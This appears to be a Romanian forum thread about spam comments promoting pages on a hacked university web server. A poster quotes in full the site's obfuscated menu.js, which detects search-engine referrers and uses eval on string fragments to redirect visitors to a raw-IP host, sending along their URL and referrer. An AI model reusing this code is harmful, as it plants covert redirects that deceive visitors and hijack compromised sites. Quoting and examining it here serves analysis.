.edu spam

Ieri mi-a sarit in ochi o adresa interesanta printre spamurile pe care le primesc in comentariile de pe site.

vg.edu/images/

In comment era promovat unul din html-urile de acolo, care au redirecturi.

Ma uit pe index si ce vad? Vasile Goldis Western University, Arad. nice. .edu spam, made in .ro

Sunt servere de linux care apartin acestor institutii si care au fost hackerite de romani sau straini prin diferite aplicatii care exploateaza diferite vulnerabilitati ale sistemelor de tip unix, linux, solaris, etc.
Sunt destui maniaci care stau geana pe site-uri ca milw0rm sau bugtraq si cum au vazut vreo vulnerabilitate noua descoperita creeaza aplicatia si pornesc scanarea claselor de ipuri.

Silly me... Eu ma gandeam ca sunt ceva studenti pe acolo care au acces si isi pun tot felul de situri cloakate. Oare Universitatile respective stiu cata promovare fac ele pentru "viagra" si alte d'astea? :D

asta e frectie. vezi asta

adolix, si de cine crezi ca sunt facute site-urile alea?

Sunt facute de universitati, evident. Si-au tras bloguri, dar nu au timp/chef de curatat de shit comentariile puse de vizitatori.

referitor la vg.edu... ce naiba au vrut astia sa faca in www_vg_edu/images/menu.js:

Cod:

---

function chk(){
var r=document.referrer,se="gb";

if(r.indexOf("google.")!=-1){t="q";se="google";}
if(r.indexOf("msn.")!=-1){t="q";se="msn";}
if(r.indexOf("yahoo.")!=-1){t="p";se="yahoo";}
if(r.indexOf("altavista.")!=-1){t="q";se="altavista";}
if(r.indexOf("aol.")!=-1){t="query";se="aol";}
if(r.indexOf("ask.")!=-1){t="q";se="ask";}
if(r.indexOf("eureka.com.")!=-1){t="q";se="eureka.com";}
if(r.indexOf("lycos.com.")!=-1){t="query";se="lycos";}
if(r.indexOf("hotbot.com.")!=-1){t="MT";se="hotbot";}
if(r.indexOf("infoseek.com.")!=-1){t="qt";se="infoseek.com";}
if(r.indexOf("webcrawler.")!=-1){t="searchText";se="webcrawler";}
if(r.indexOf("excite.")!=-1){t="search";se="excite";}
if(r.indexOf("netscape.com.")!=-1){t="search";se="netscape";}
if(r.indexOf("mamma.com.")!=-1){t="query";se="mamma";}
if(r.indexOf("alltheweb.com.")!=-1){t="query";se="alltheweb.com";}
if(r.indexOf("northernlight.com.")!=-1){t="qr";se="northernlight.com";}
if(r.indexOf("rambler.ru.")!=-1){t="words";se="rambler.ru";}
if(r.indexOf("aport.ru.")!=-1){t="r";se="aport.ru";}
if(r.indexOf("yandex.ru.")!=-1){t="text";se="yandex.ru";}
if(r.indexOf("pingwin.ru.")!=-1){t="searchword";se="pingwin.ru";}
if(r.indexOf("www.ru.")!=-1){t="Str_Find";se="www.ru";}
if(r.indexOf("punto.ru.")!=-1){t="text";se="punto.ru";}

var irvpoqb515='docu';
var ni271 ='ment';
var msippqydp980='.lo';
var bi653 = 'ca';
var bpz978='ti';
var if660 = 'on=';
var hvwnvgrhgw311='"';
var yf177 ="http://72.232.160.2/~seven/r.php?ul="+encodeURIComponent(document.URL)+"&re="+encodeURIComponent(document.referrer)+"&ke="+key+"&dest="+dest;
//var yf177 = "http://www.ya.ru";
var onby422='';

var tqfojokx969 = 'bi653';

if(tqfojokx969 = 'bi653')eval(irvpoqb515+ni271+msippqydp980+bi653+bpz978+if660+hvwnvgrhgw311+yf177+onby422+hvwnvgrhgw311);
}
chk();

---